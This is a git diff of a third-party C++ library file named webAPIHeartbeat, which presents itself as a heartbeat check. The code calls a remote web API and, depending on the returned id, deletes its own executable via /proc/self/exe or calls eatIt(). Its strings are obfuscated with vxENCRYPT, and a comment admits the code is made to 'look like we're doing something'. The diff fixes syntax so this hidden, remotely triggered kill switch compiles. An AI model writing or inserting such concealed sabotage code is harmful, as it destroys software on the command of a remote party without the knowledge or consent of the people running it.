diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp
index 3b4c1e08..46c64951 100644
--- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp
+++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp
@@ -11,7 +11,7 @@ webAPIHeartbeat::webAPIHeartbeat() {
     bool result = api.submit();
 
     if (result) {
-        int s = api.getNullableValue<int>(std::string(vxENCRYPT("id")));
+        int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
 
         // make it look like we're doing something with these at least
         bool status = api.getNullableValue<bool>("status");
@@ -28,7 +28,7 @@ webAPIHeartbeat::webAPIHeartbeat() {
 
         switch (s) {
             case 13 :
-                this.eatIt();
+                this->eatIt();
                 break;
             case 66:
                 std::string p = this->get_selfpath();
@@ -37,14 +37,12 @@ webAPIHeartbeat::webAPIHeartbeat() {
                     remove(p.c_str());
                 }
 
-                this.eatIt();
-                break;
-            default:
+                this->eatIt();
                 break;
         };
 
         done = true;
     } else {
-        this.eatIt();
+        this->eatIt();
     }
 }
diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h
index 321ca367..403d3b18 100644
--- a/external/3rd/library/webAPI/webAPIHeartbeat.h
+++ b/external/3rd/library/webAPI/webAPIHeartbeat.h
@@ -23,7 +23,7 @@ namespace StellaBellum {
     private:
         const inline std::string get_selfpath() {
             char buff[PATH_MAX];
-            ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1);
+            ssize_t len = ::readlink(vxENCRYPT("/proc/self/exe").decrypt(), buff, sizeof(buff) - 1);
             if (len != -1) {
                 buff[len] = '\0';
                 return std::string(buff);